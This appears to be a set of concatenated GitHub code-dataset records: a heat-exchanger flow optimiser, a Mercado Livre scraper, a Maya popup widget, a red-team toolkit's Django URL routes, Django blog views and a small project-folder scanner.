outlet temp based on single side data'\r\n return Q/(Cp*Flow) + Tin\r\n\r\n def LMTD_Duty(Cin,Cout,Hin,Hout, Value, Type):\r\n 'Do LMTD calculation. Value given as either Q or UA, Type to indicate the given value is Q or UA'\r\n\r\n if (Hin-Cout)/(Hout-Cin)==1 or (Hin-Cout)/(Hout-Cin)<=0:\r\n # Handle the case where the denominator is zero\r\n\r\n return 0\r\n else:\r\n # Compute the logarithm expression\r\n LMTD = ((Hin-Cout)-(Hout-Cin))/log((Hin-Cout)/(Hout-Cin))\r\n if Type == 'Q':\r\n #calculate UA using Q/LMTD\r\n return Value/LMTD\r\n else:\r\n #calculate Q using LMTD*UA\r\n return Value*LMTD\r\n\r\n # Solve for Q when Co, Ho not available\r\n def HXeq (Q, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin):\r\n if Cflow * Ccp <=0:\r\n Cout = Cin\r\n else:\r\n Cout = Q/ (Cflow * Ccp) + Cin\r\n if Hflow * Hcp <=0:\r\n Hout = Hin\r\n else:\r\n Hout = Hin - Q/ (Hflow * Hcp)\r\n\r\n #handle invalid LTMD\r\n if (Hin-Cout)/(Hout-Cin)==1 or (Hin-Cout)/(Hout-Cin)<=0:\r\n return 0, Cout, Hout\r\n else:\r\n\r\n return ((Hin-Cout)-(Hout-Cin))/log((Hin-Cout)/(Hout-Cin)) * UA - Q, Cout, Hout\r\n\r\n def dxHXeq (Q, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin):\r\n delta = 0.001\r\n Y, Cout, Hout = HXeq (Q, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin)\r\n Y_1, Cout_1, Hout_1 = HXeq (Q+delta, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin)\r\n return (Y_1 - Y)/delta\r\n\r\n def Qsolve(Q, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin):\r\n #solve for HX duty based on inlet temperature and flow only.\r\n max_tries = 100\r\n tries = 0\r\n err = 1 #initialise\r\n tol = 0.005\r\n while abs(err)>0.005 and tries <= max_tries:\r\n Qi = Q\r\n slope = dxHXeq (Qi, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin)\r\n err, Cout, Hout = HXeq (Qi, UA, Cflow, Ccp, Cin, Hflow, Hcp, Hin)\r\n\r\n if slope == 0:\r\n Q = Qi\r\n else:\r\n Q = Qi - err/slope\r\n tries +=1\r\n\r\n return Q, tries, Cout, Hout\r\n\r\n def data_transfer(var, ref_prop, ref_tag, variables):\r\n #Create a data transfer function\r\n # data transfer function will get string e.g. E2501_Cold_flow and look into ref_prop to see the value (25F111.PV) \r\n # Using this value to look into ref_tag for all the properties related. e.g E2501_Cold_flow, E2502_Cold_fLow\r\n # Update the value in variables for these 2 properties\r\n # data transfer to be used in every steps of calculations why optimising \r\n\r\n # Get the caller's frame\r\n frame = inspect.currentframe().f_back\r\n\r\n # Iterate over the frame's local variables and check if any variable has the same id as the input var\r\n for name, value in frame.f_locals.items():\r\n if id(value) == id(var):\r\n input_str = name\r\n # Iterate over the frame's global variables and check if any variable has the same id as the input var\r\n for name, value in frame.f_globals.items():\r\n if id(value) == id(var):\r\n input_str = name\r\n\r\n\r\n # Look up the PI tags in ref_prop\r\n PI_tag = ref_prop.get(input_str)\r\n\r\n\r\n if PI_tag is not None:\r\n # Look up the related properties in ref_tag\r\n related_properties = ref_tag.get(PI_tag)\r\n\r\n # Update the all values of the same PI tags in variables\r\n for prop in related_properties:\r\n variables[prop] = var\r\n #Set up optimisation problem\r\n\r\n def objective_function(x, *args):\r\n #total duty\r\n #since function is minimisation, duty will be negative\r\n # x is solution based on number of trains.\r\n # assign x as based on train number\r\n\r\n variables, Position_df, ref_prop, ref_tag = args\r\n #number of exchanger = number of loops to run\r\n no_hx = len(Position_df)\r\n Total_duty = 0\r\n for index in range(len(Position_df)):\r\n HX = Position_df['Exchanger'][index]\r\n train_no = Position_df['Train'][index]-1 #train 1 will be on position 0 of x\r\n\r\n globals()[f'{HX}_Q'], globals()[f'{HX}_tries'], globals()[f'{HX}_Cold_out'], globals()[f'{HX}_Hot_out']\\\r\n = Qsolve(variables[f'{HX}_Q'], variables[f'{HX}_UA'], x[train_no], variables[f'{HX}_Ccp'],\\\r\n variables[f'{HX}_Cold_in'],variables[f'{HX}_Hot_flow'],variables[f'{HX}_Hcp'],variables[f'{HX}_Hot_in'])\r\n\r\n\r\n Total_duty -= globals()[f'{HX}_Q']\r\n\r\n\r\n return Total_duty\r\n\r\n def constraint_1(x,x0):\r\n #sum of all flow is same as initial guess\r\n #type ='eq'\r\n return sum(x) - sum(x0) # =0\r\n\r\n\r\n def lower_bounds(x, variables, previous_bound, Position_df):\r\n #recalculate new bounds\r\n # x is solution based on number of trains.\r\n # assign x as based on train number\r\n #number of exchanger = number of loops to run\r\n no_hx = len(Position_df)\r\n for index in range(len(Position_df)):\r\n HX = Position_df['Exchanger'][index]\r\n train_no = Position_df['Train'][index]-1 #train 1 will be on position 0 of x\r\n\r\n globals()[f'{HX}_Q'], globals()[f'{HX}_tries'], globals()[f'{HX}_Cold_out'], globals()[f'{HX}_Hot_out']\\\r\n = Qsolve(variables[f'{HX}_Q'], variables[f'{HX}_UA'], x[train_no], variables[f'{HX}_Ccp'],\\\r\n variables[f'{HX}_Cold_in'],variables[f'{HX}_Hot_flow'],variables[f'{HX}_Hcp'],variables[f'{HX}_Hot_in'])\r\n\r\n\r\n #calculate boundaries of flow based on infeasible LMTD \r\n #basically at every iteration a min flow is calculated to ensure that next guess stays within bounds\r\n new_bound = list(previous_bound)\r\n\r\n new_bound[train_no] = (max(globals()[f'{HX}_Q']/ (variables[f'{HX}_Ccp'] * ( variables[f'{HX}_Hot_in']\\\r\n - variables[f'{HX}_Cold_in'] )) + 1 ,new_bound[train_no][0]),new_bound[train_no][1])\r\n\r\n return tuple(new_bound)\r\n ############################## End of Functions ###################################\r\n logwindow.print('Loaded functions')\r\n #Read template file\r\n template = pd.read_csv('input_template.csv', encoding ='utf-8')\r\n #sort by Train then by Series so that Exchangers calculated are run in the correct order\r\n template = template.sort_values(['Train', 'Series'])\r\n Position_df = template[['Train','Series','Exchanger']]\r\n limit_df = template[['Train','min_flow','max_flow']]\r\n limit_df = limit_df.groupby('Train').agg({'min_flow': 'min', 'max_flow': 'max'}).reset_index()\r\n \r\n CP_gain = template['CP_gain'][0]\r\n CP_intercept = template['CP_intercept'][0]\r\n \r\n if isnan(CP_gain):\r\n #use default value of CP_gain\r\n CP_gain = 0.004\r\n logwindow.print('No CP_gain provided, default to 0.004 for crude')\r\n \r\n \r\n if isnan(CP_intercept):\r\n #use default value of CP_intercept\r\n CP_intercept = 1.8\r\n logwindow.print('No CP_intercept provided, default to 1.8 for crude')\r\n \r\n template = template.drop(columns=['Train','Series','min_flow','max_flow','CP_gain','CP_intercept'])\r\n template.set_index(template.columns[0],inplace=True)\r\n \r\n \r\n df_full = pd.read_csv('data_buffer.csv', encoding ='utf-8') #read CSV file with PI values\r\n length = df_full.shape[0]\r\n\r\n #ref_prop key is e.g. E1501_Cold_flow with value being the PI tag\r\n ref_prop = {}\r\n #ref_tag key is PI tag with value being the properties e.g E2501_Cold_flow\r\n ref_tag = {}\r\n #variable key is the properties e.g. E2501_Cold_flow, with the value being the numerical flow rate aka variables.\r\n variables = {}\r\n\r\n\r\n ########## create columns names for new dataframe###########################\r\n list_exchanger = Position_df[Position_df['Series']==1]['Exchanger'].values.tolist()\r\n column_names = []\r\n for item in list_exchanger: \r\n column_names.append(item + '_Cold_flow') \r\n\r\n column_names.append('duty_total')\r\n column_names.append('duty_previous')\r\n column_names.append('duty_improvement')\r\n for item in list_exchanger: \r\n column_names.append(item + '_delta') \r\n\r\n df_result =pd.DataFrame(columns = column_names)\r\n #################################################################################\r\n \r\n #iterate df_full\r\n\r\n for df_index in range(length):\r\n \r\n logwindow.print('Running Calculations for: {} out of {} data'.format(df_index+1,length))\r\n window.refresh()\r\n df = df_full.loc[[df_index]].reset_index()\r\n\r\n\r\n #Creating dictionary for ref_prop and variables\r\n for row_label, row in template.iterrows():\r\n for col_label in template.columns:\r\n cell_value = row[col_label]\r\n variable_name = f'{row_label}_{col_label}'.replace('-', '_').replace(' ', '_')\r\n PI_value = df[cell_value][0]\r\n variables[variable_name] = PI_value\r\n ref_prop[variable_name] = cell_value\r\n\r\n #for each train calculate the following: Ccp/Q/Hcp/UA\r\n variables[f'{row_label}_Ccp'] = LR_Cp_Curve(variables[f'{row_label}_Cold_in'],variables[f'{row_label}_Cold_out'],CP_gain,CP_intercept)\r\n variables[f'{row_label}_Q'] = Cp_Duty(variables[f'{row_label}_Cold_in'], variables[f'{row_label}_Cold_out'], variables[f'{row_label}_Cold_flow'], variables[f'{row_label}_Ccp'], 'cp')\r\n variables[f'{row_label}_Hcp'] = Cp_Duty(variables[f'{row_label}_Hot_in'], variables[f'{row_label}_Hot_out'], variables[f'{row_label}_Hot_flow'], variables[f'{row_label}_Q'], 'Q')\r\n variables[f'{row_label}_UA'] = LMTD_Duty(variables[f'{row_label}_Cold_in'],variables[f'{row_label}_Cold_out'],variables[f'{row_label}_Hot_in'],variables[f'{row_label}_Hot_out'], variables[f'{row_label}_Q'], 'Q')\r\n # check Consistency\r\n if round(variables[f'{row_label}_Q'],3) != round(Cp_Duty(variables[f'{row_label}_Hot_in'], variables[f'{row_label}_Hot_out'], variables[f'{row_label}_Hot_flow'], variables[f'{row_label}_Hcp'], 'cp'),3) or \\\r\n round(variables[f'{row_label}_Q'],3) != round(LMTD_Duty(variables[f'{row_label}_Cold_in'],variables[f'{row_label}_Cold_out'],variables[f'{row_label}_Hot_in'],variables[f'{row_label}_Hot_out'], variables[f'{row_label}_UA'], 'UA'),3):\r\n variables[f'{row_label}_Q_health'] = 0\r\n print(row_label + 'fail duty consistency') #, end ='\\r'\r\n else:\r\n variables[f'{row_label}_Q_health'] = 1\r\n\r\n #Creating ref_tag\r\n for key, value in ref_prop.items():\r\n # Check if the value is already in the swapped dictionary\r\n if value in ref_tag:\r\n # Append the current key to the list of keys for the value\r\n ref_tag[value].append(key)\r\n else:\r\n # Create a new list with the current key as the only value\r\n ref_tag[value] = [key]\r\n\r\n\r\n\r\n # Define the initial guess for the variables\r\n # optimising the cold flow\r\n # identifying the target variables to change\r\n # assumption is that cold flow for each train\r\n # pick up all the series 1 exchangers which represent the first exchangers of each train\r\n list_exchanger = Position_df[Position_df['Series']==1]['Exchanger'].values.tolist()\r\n #get the corresponding cold flow values from the variables storage\r\n x0 = [variables[f'{item}_Cold_flow'] for item in list_exchanger]\r\n\r\n\r\n # Define the constraints as a dictionary\r\n constraints = ({'type': 'eq', 'fun': constraint_1, 'args': (x0,)})\r\n\r\n\r\n # Define the bounds for the variables\r\n # starting bounds are limited at (0,None)\r\n\r\n #previous_bound = ((350,None),)*len(x0)\r\n previous_bound = tuple(\r\n tuple(None if isinstance(i, float) and isnan(i) else i for i in t)\r\n for t in list(zip(limit_df['min_flow'], limit_df['max_flow']))\r\n)\r\n\r\n max_iteration = 100 ## change for loop to while loop when bound changes\r\n iteration = 0\r\n x_value = x0 \r\n\r\n\r\n # Define additional parameter for objective function\r\n args = (variables, Position_df, ref_prop, ref_tag)\r\n\r\n filtered_Q = {key: value for key, value in variables.items() if key.endswith('_Q')}\r\n duty_tot = sum(filtered_Q.values())\r\n duty_previous = duty_tot\r\n\r\n #Skip optimisation if data health is not good\r\n # Data consistency checks duty calculated from Cold = Hot = LMTD calculation\r\n filtered_Q_health = {key: value for key, value in variables.items() if key.endswith('_Q_health')}\r\n\r\n\r\n if prod(filtered_Q_health.values()) == 0:\r\n tolerance = 0.0000001 # make tolerance small so loop doesnt start\r\n logwindow.print('Skip optimisation due to duty inconsistency', end ='\\r')\r\n else:\r\n tolerance = 1 # initialise loop\r\n\r\n while tolerance > 0.000001 and iteration < max_iteration:\r\n iteration += 1\r\n\r\n #calculate bound from LMTD constraints\r\n bounds = lower_bounds(x_value, variables, previous_bound, Position_df)\r\n\r\n # Use the SLSQP optimization algorithm to solve the problem\r\n result = minimize(objective_function, x_value ,args, method='SLSQP', bounds= bounds, constraints=constraints)\r\n x_value = result.x.tolist()\r\n\r\n\r\n #update bounds\r\n previous_bound = bounds\r\n\r\n #Update variables with newly optimised x_value\r\n #number of exchanger = number of loops to run\r\n no_hx = len(Position_df)\r\n\r\n for index in range(len(Position_df)):\r\n HX = Position_df['Exchanger'][index]\r\n train_no = Position_df['Train'][index]-1 #train 1 will be on position 0 of x\r\n globals()[f'{HX}_Q'], globals()[f'{HX}_tries'], globals()[f'{HX}_Cold_out'], globals()[f'{HX}_Hot_out']\\\r\n = Qsolve(variables[f'{HX}_Q'], variables[f'{HX}_UA'], x_value[train_no], variables[f'{HX}_Ccp'],\\\r\n variables[f'{HX}_Cold_in'],variables[f'{HX}_Hot_flow'],variables[f'{HX}_Hcp'],variables[f'{HX}_Hot_in'])\r\n\r\n\r\n variables[f'{HX}_Q'] = globals()[f'{HX}_Q']\r\n globals()[f'{HX}_Cold_flow'] = x_value[train_no]\r\n data_transfer(globals()[f'{HX}_Cold_flow'], ref_prop, ref_tag, variables)\r\n data_transfer(globals()[f'{HX}_Cold_out'], ref_prop, ref_tag, variables)\r\n data_transfer(globals()[f'{HX}_Hot_out'], ref_prop, ref_tag, variables) \r\n\r\n\r\n # update args with newly calculated values stored in variables for next loop\r\n args = (variables, Position_df, ref_prop, ref_tag)\r\n\r\n filtered_Q = {key: value for key, value in variables.items() if key.endswith('_Q')}\r\n duty_tot_new = sum(filtered_Q.values())\r\n\r\n\r\n #calculate tolerance\r\n tolerance = abs(duty_tot - duty_tot_new)\r\n duty_tot = duty_tot_new\r\n\r\n #output result\r\n improvement = duty_tot - duty_previous\r\n flow_change = [x - y for x,y in zip(x_value,x0)]\r\n\r\n\r\n\r\n result_list = x_value +[duty_tot,duty_previous,improvement] + flow_change\r\n #set up list for result\r\n df_new_result =pd.DataFrame([result_list], columns = column_names)\r\n df_result = df_result.append(df_new_result, ignore_index=True)\r\n\r\n \r\n#########################################################################\r\n df_result.to_csv('Optimisation_results.csv', encoding ='utf-8', index =False)\r\n \r\n logwindow.print('Opening results in excel')\r\n p = Popen('Optimisation_results.csv', shell=True)\r\n\r\n \r\nwindow.close() ","repo_name":"edison-tan/Preheat-pinch","sub_path":"Preheat_GID/preheat_opt.py","file_name":"preheat_opt.py","file_ext":"py","file_size_in_byte":24032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23517233890","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\nlista_produtos = []\nurl_base = 'https://lista.mercadolivre.com.br/'\nproduto_nome = input('Qual produto você deseja? ')\n\nresponse = requests.get(url_base + produto_nome)\n\nsite = BeautifulSoup(response.text, 'html.parser')\n\nprodutos = site.findAll('div' , attrs={'class': 'andes-card andes-card--flat andes-card--default ui-search-result shops__cardStyles ui-search-result--core andes-card--padding-default'})\n\nfor produto in produtos:\n titulo = produto.find('h2' , attrs={'class': 'ui-search-item__title shops__item-title'})\n titulo = (titulo.text)\n preco = produto.find('span' , attrs={'class': 'price-tag-amount'})\n preco = (preco.text)\n link = produto.find('a', attrs={'class': 'ui-search-link'})\n link = link['href']\n lista_produtos.append([titulo, preco, link])\n colunas_produtos = pd.DataFrame(lista_produtos, columns=['Nome' , 'Valor', 'Link do Produto'])\n\n\n#*! EXIBIÇÃO !*#\nprint(colunas_produtos)\n\n\n\n\n\n\n\n","repo_name":"jgabfalcao/web-scraping-python","sub_path":"scraping-2.0/busca_produtos.py","file_name":"busca_produtos.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24561580580","text":"# coding:utf-8\n\nimport PySide.QtGui as QtGui\nimport PySide.QtCore as QtCore\nimport shiboken\nimport maya.OpenMayaUI as apiUI\n\n\ndef getMayaWindow():\n ptr = apiUI.MQtUtil.mainWindow()\n if ptr is not None:\n return shiboken.wrapInstance(long(ptr), QtGui.QMainWindow)\n\n\nclass popupMessage(QtGui.QLabel):\n closed = QtCore.Signal()\n\n def __init__(self, parent, message=\"\", timeout=2000):\n super(popupMessage, self).__init__(parent)\n self.message = message\n self.setMargin(10)\n self.timer = QtCore.QTimer()\n self.timer.start(timeout)\n self.timer.timeout.connect(self.times_up) # connect it to your update function\n\n effect = QtGui.QGraphicsDropShadowEffect()\n effect.setBlurRadius(10)\n effect.setOffset(2, 2)\n self.setGraphicsEffect(effect)\n\n self.showMessage(self.message)\n\n self.setStyleSheet('''\n QLabel {\n background-color: rgba(80,150,250,200);\n border: 2px solid rgba(60,130,250,250);\n border-radius: 4px;\n }\n ''')\n\n def times_up(self):\n self.timer.stop()\n self.close()\n self.closed.emit()\n self.parentWidget().adjustSize()\n self.parentWidget().update()\n\n def showMessage(self, message=None):\n self.setText(message)\n self.adjustSize()\n self.update()\n self.show()\n\n # center = self.parentWidget().size()\n # self.move(center.width() * .5 - self.width() * .5, 10);\n\n\nclass messageArea(QtGui.QWidget):\n def __init__(self, parent, lifespan=3000):\n super(messageArea, self).__init__(parent)\n\n self.setFixedWidth(200)\n self.setWindowFlags(QtCore.Qt.FramelessWindowHint | QtCore.Qt.WindowStaysOnTopHint | QtCore.Qt.Window)\n self.setAttribute(QtCore.Qt.WA_NoSystemBackground)\n self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\n\n self.lifespan = lifespan\n self.deleteTimer = QtCore.QTimer(self)\n self.deleteTimer.timeout.connect(self.clean)\n self._isDeleted = False\n\n self.mainlayout = QtGui.QVBoxLayout(self)\n self.mainlayout.setContentsMargins(0, 0, 0, 0)\n self.mainlayout.setSpacing(10)\n self.setLayout(self.mainlayout)\n\n self.popMessages = {}\n\n center = self.parentWidget().size()\n self.move(center.width() * .5 - self.width() * .5, center.height() * .5)\n\n self.deleteTimer.start(self.lifespan)\n\n def showUI(self):\n self.update()\n self.adjustSize()\n self.show()\n\n def clean(self):\n # 在没有message的情况下lifespan =lifespan\n self.deleteTimer.stop()\n self.close()\n self.deleteLater()\n self._isDeleted = True\n\n def isDeleted(self):\n return self._isDeleted\n\n def addMessage(self, message, timeout=3000):\n mes = popupMessage(self, message, timeout)\n self.mainlayout.addWidget(mes)\n mes.closed.connect(self.updateTime)\n self.popMessages.update({mes: timeout})\n self.resetDeleteTimer()\n\n def resetDeleteTimer(self):\n if not self.popMessages.values():\n maxTime = self.lifespan\n else:\n maxTime = max(self.popMessages.values())\n self.deleteTimer.stop()\n # 在有message的情况下lifespan+1000\n self.deleteTimer.start(maxTime + 1000)\n\n def updateTime(self, ):\n mes = self.sender()\n\n self.popMessages.pop(mes)\n self.resetDeleteTimer()\n\n\nm = messageArea(getMayaWindow())\nm.showUI()\n","repo_name":"xtvjxk123456/test_temp_file","sub_path":"balloon tip.py","file_name":"balloon tip.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33143205304","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"login/\", views.loginuser, name=\"loginuser\"),\n path(\"logout/\", views.logoutuser, name=\"logoutuser\"),\n path(\"forbidden/\", views.forbidden, name=\"forbidden\"),\n path(\"dashboard/\", views.dashboard, name=\"dashboard\"),\n path(\"fullscan/\", views.fullscan, name=\"fullscan\"),\n path(\"livehost/\", views.livehost, name=\"livehost\"),\n path(\"dirscan/\", views.dirscan, name=\"dirscan\"),\n path(\"cvedes/\", views.cvedes, name=\"cvedes\"),\n path(\"linux/\", views.linux, name=\"linux\"),\n path(\"windows/\", views.windows, name=\"windows\"),\n path(\"windows/proxyshell\", views.win_proxyshell, name=\"win_proxyshell\"),\n path(\"sshbruteforce/\", views.sshbruteforce, name=\"sshbruteforce\"),\n path(\"windows/nightmare/\", views.nightmare, name=\"nightmare\"),\n path(\"windows/rdpbruteforce/\", views.rdpbruteforce, name=\"rdpbruteforce\"),\n path(\"download/\", views.download_file, name=\"download_file\"),\n path(\"stream/\", views.stream, name=\"stream\"),\n path(\"webapp/\", views.webapp, name=\"webapp\"),\n path(\"webapp/verbtampering\", views.verbtamper, name=\"verbtamper\"),\n path(\"webapp/webcrawler\", views.webcrawler, name=\"webcrawler\"),\n path(\"webapp/subdomain\", views.subdomain, name=\"subdomain\"),\n path(\n \"webapp/apache-cve-21-41773\", views.apache_cve_41773, name=\"apache_cve_21_41773\"\n ),\n path(\n \"webapp/f5-bigip-cve-22-1388\", views.f5_bigip_cve_1388, name=\"f5_bigip_22_1388\"\n ),\n path(\"webapp/xss_finder\", views.xss_finder, name=\"xss_finder\"),\n # /\n]\n","repo_name":"signorrayan/RedTeam_toolkit","sub_path":"toolkit/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":507,"dataset":"github-code","pt":"18"} +{"seq_id":"38069934918","text":"from django.shortcuts import (\n Http404,\n render, \n HttpResponse, \n redirect, \n get_object_or_404, \n HttpResponseRedirect)\nfrom .forms import AddArticleForm, UpdateArticleForm, AddComment, EditComment\nfrom .models import Article, FeaturedArticle, ArticleComments, ArticleLikes, UserFollowing\nfrom django.core.paginator import Paginator\nfrom django.db.models import Count\nfrom users.models import User\nfrom rest_framework import viewsets\n\n#-----------------------------------------------------------------------------------------------------------------------------------\n#-----------------------------------------------------------------------------------------------------------------------------------\n#-----------------------------------------------------------------------------------------------------------------------------------\n\nfrom rest_framework import generics\nfrom .serializers import ArticleSerializer, CommentSerializer\nfrom django.views.generic.base import TemplateView\n\ndef home_page(request):\n featured = Article.objects.filter(is_featured=True).order_by('?')[:3]\n article_list = Article.objects.all().order_by('-date_published')\n paginator = Paginator(article_list, 10)\n page = request.GET.get('page')\n form = paginator.get_page(page)\n return render(request, 'blog/homepage.html', {'form': form, 'featured':featured})\n\ndef add_article(request):\n if request.user.is_authenticated:\n if request.method == 'POST':\n data = {'owner':request.user}\n form = AddArticleForm(request.POST, request.FILES, initial=data)\n if form.is_valid():\n addArticle = form.save(commit=False)\n addArticle.owner = request.user\n form.save()\n return redirect('blog:homepage')\n else:\n form = AddArticleForm()\n\n return render(request, 'blog/addarticle.html', {'form': form})\n else:\n return redirect('users:login')\n\ndef edit_article(request, article_id):\n if request.user.is_authenticated:\n qs = Article.objects.get(pk=article_id)\n data = {'article_image': qs.article_image,\n 'title': qs.title,\n 'description': qs.description}\n if request.user == qs.owner:\n if request.method == 'POST':\n form = UpdateArticleForm(request.POST, request.FILES, initial=data, instance=qs)\n if form.is_valid():\n form.save()\n return redirect('blog:userarticle', request.user.id)\n else:\n form = UpdateArticleForm(initial=data)\n else:\n form = UpdateArticleForm(initial=data)\n\n return render(request, 'blog/editarticle.html', {'form': form})\n else:\n raise Http404(\"INVALID ACCESS\")\n else:\n return redirect('users:login')\n\ndef delete_article(request, article_id):\n if request.user.is_authenticated:\n article = get_object_or_404(Article, pk=article_id, owner=request.user)\n article.delete()\n return redirect('blog:userarticle')\n else:\n return redirect('users:login')\n\ndef article_details(request, article_id):\n form = Article.objects.filter(pk=article_id)\n instance = get_object_or_404(Article, pk=article_id)\n commentForm = AddComment()\n loadComment = ArticleComments.objects.filter(article=instance).order_by('date_published')\n if request.user.is_authenticated:\n likes = ArticleLikes.objects.filter(article=instance, owner=request.user)\n totallikes = ArticleLikes.objects.filter(article=instance, likebool=True).count()\n return render(request, 'blog/articledetails.html', {'form': form, \n 'commentForm': commentForm, 'loadComment':loadComment, 'likes':likes,\n 'totallikes':totallikes})\n else:\n return render(request, 'blog/articledetails.html', {'form': form, \n 'commentForm': commentForm, 'loadComment':loadComment})\n\ndef comment_add(request, article_id):\n if request.user.is_authenticated:\n if request.method == 'POST':\n commentForm = AddComment(request.POST)\n if commentForm.is_valid():\n article = get_object_or_404(Article, pk=article_id)\n addComment = commentForm.save(commit=False)\n addComment.owner = request.user\n addComment.article = article\n commentForm.save()\n return redirect('blog:articledetails', article_id)\n else:\n return redirect('blog:articledetails', article_id)\n else:\n raise Http404(\"INVALID ACCESS\")\n\ndef comment_edit(request, comment_id):\n if request.user.is_authenticated:\n comments = get_object_or_404(ArticleComments, pk=comment_id, owner=request.user)\n article = get_object_or_404(Article, pk=comments.article.id)\n data = {'content': comments.content}\n form = EditComment(initial=data)\n if request.method == 'POST':\n commentForm = EditComment(request.POST, instance=comments)\n if commentForm.is_valid():\n commentForm.save()\n return redirect('blog:articledetails', article.id)\n else:\n return render(request, 'blog/editcomment.html', {'form': form})\n else:\n raise Http404(\"INVALID ACCESS\")\n\ndef comment_delete(request, comment_id):\n if request.user.is_authenticated:\n comment = get_object_or_404(ArticleComments, pk=comment_id, owner=request.user)\n article = get_object_or_404(Article, pk=comment.article.id)\n comment.delete()\n return redirect('blog:articledetails', article.id)\n else:\n raise Http404(\"INVALID ACCESS\")\n\ndef article_like(request, article_id):\n if request.user.is_authenticated:\n article = get_object_or_404(Article, pk=article_id)\n likes = ArticleLikes.objects.filter(article=article, owner=request.user)\n if not likes:\n ArticleLikes.objects.create(likebool=True, article=article, owner=request.user)\n else:\n for like in likes:\n if like.likebool == True:\n ArticleLikes.objects.filter(id = like.id).update(likebool = False)\n else:\n ArticleLikes.objects.filter(id = like.id).update(likebool = True)\n\n return redirect('blog:articledetails', article.id)\n else:\n raise Http404(\"INVALID ACCESS\")\n\ndef view_liked(request):\n if request.user.is_authenticated:\n form = ArticleLikes.objects.filter(owner=request.user, likebool=True).order_by('-date_published')\n return render(request, 'blog/likedarticlesview.html', {'form': form})\n else:\n raise Http404(\"INVALID ACCESS\")\n\ndef user_articles(request, user_id):\n user = User.objects.get(pk=user_id)\n form = Article.objects.filter(owner=user_id).order_by('-date_published')\n if request.user.is_authenticated:\n follow = UserFollowing.objects.filter(following=user, owner=request.user)\n return render(request, 'blog/userarticles.html', {'form': form, 'user':user, 'follow':follow})\n else:\n return render(request, 'blog/userarticles.html', {'form': form, 'user':user})\n\ndef user_follow(request, user_id):\n if request.user.is_authenticated:\n user = get_object_or_404(User, pk=user_id)\n follow = UserFollowing.objects.filter(following=user, owner=request.user)\n \n if not follow:\n UserFollowing.objects.create(followbool=True, following=user, owner=request.user)\n else:\n for fllw in follow:\n if fllw.followbool == True:\n UserFollowing.objects.filter(id = fllw.id).delete()\n else:\n UserFollowing.objects.filter(id = fllw.id).update(followbool = True)\n\n return redirect('blog:userarticle', user_id)\n else:\n raise Http404(\"INVALID ACCESS\")\n\n\n#\n#--------------------------------------------------------------------------------------------------------------------------------------\n#-----------------------------------------------------NEW IMPLEMENTATION---------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------\n#\n\nclass UserArticlesTemplateView(TemplateView):\n\n def get(self, request, **kwargs):\n user = User.objects.get(pk=kwargs.get('user_id'))\n return render(request, 'drf/userarticlesDRF.html', {'user': user})\n\nclass ArticleTemplateView(TemplateView):\n template_name = \"drf/articleform.html\"\n\nclass HomePageTemplateView(TemplateView):\n template_name = \"drf/homepageDRF.html\"\n\nclass ArticleDetailsTemplateView(TemplateView):\n\n def get(self, request, **kwargs):\n instance = get_object_or_404(Article, pk=kwargs.get('article_id'))\n return render(request, 'drf/articledetailsDRF.html', {'instance':instance})\n\nclass UserArticleLikesTemplateView(TemplateView):\n\n def get(self, request, **kwargs):\n return render(request, 'drf/userlikedarticlesDRF.html')\n\nclass EditUserTemplateView(TemplateView):\n \n def get(self, request, **kwargs):\n if request.user.is_authenticated:\n return render(request, \"drf/edituserDRF.html\")\n else:\n Http404(\"Invalid Access\")\n\nclass RegisterUserTemplateView(TemplateView):\n \n def get(self, request, **kwargs):\n return render(request, \"drf/registerDRF.html\")\n\nclass ChangePassUserTemplateView(TemplateView):\n \n def get(self, request, **kwargs):\n if request.user.is_authenticated:\n return render(request, \"drf/changepasswordDRF.html\")\n else:\n Http404(\"Invalid Access\")","repo_name":"melchiaballe/Django-Blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42508884152","text":"\"script for scanning my Projects directories\" #26/09/2022\n\n\nimport os\nimport natsort\n\n\n\nprint(os.getcwd())\n\ncwd_str = os.getcwd() #C:\\Users\\edi\\Desktop\\MY_PROJECTS\\py_scanner\n\n#print(type(way_str))\n\nproject_dir_str = cwd_str[:32]\nprint(project_dir_str)\n\n\n\ndir_list = natsort.natsorted(os.listdir(project_dir_str))\n#print('\\n'.join()) # Showing dir content\n\ntext_writing = ''\n\nprint()\nfor i in range(len(dir_list)):\n #print(f'{i+1}.',dir_list[i])\n\n \n get_info_file_path = project_dir_str + '\\\\' + dir_list[i] + '\\\\info.txt'\n\n print()\n print('_________________________________________')\n\n\n print(f'{i+1}.',get_info_file_path)\n bord_line = '_'*40\n text_writing += f'\\n{bord_line}\\n'\n \n text_writing += (f'{i+1}. {get_info_file_path}\\n')\n \n\n print()\n with open(get_info_file_path, \"r\") as file: # for READING\n\n for line in file:\n print(line, end=\"\")\n text_writing += line+'\\n'\n print()\n \n print('_________________________________________')\n\n text_writing += f'\\n{bord_line}\\n\\n'\n \nwith open(\"result_scanning.txt\", \"w\") as somefile:\n somefile.write(text_writing)\n\n \nprint()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"AlexAskin/Tasks-Exercises-Sketches","sub_path":"py_scanner/py_scanner.py","file_name":"py_scanner.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} 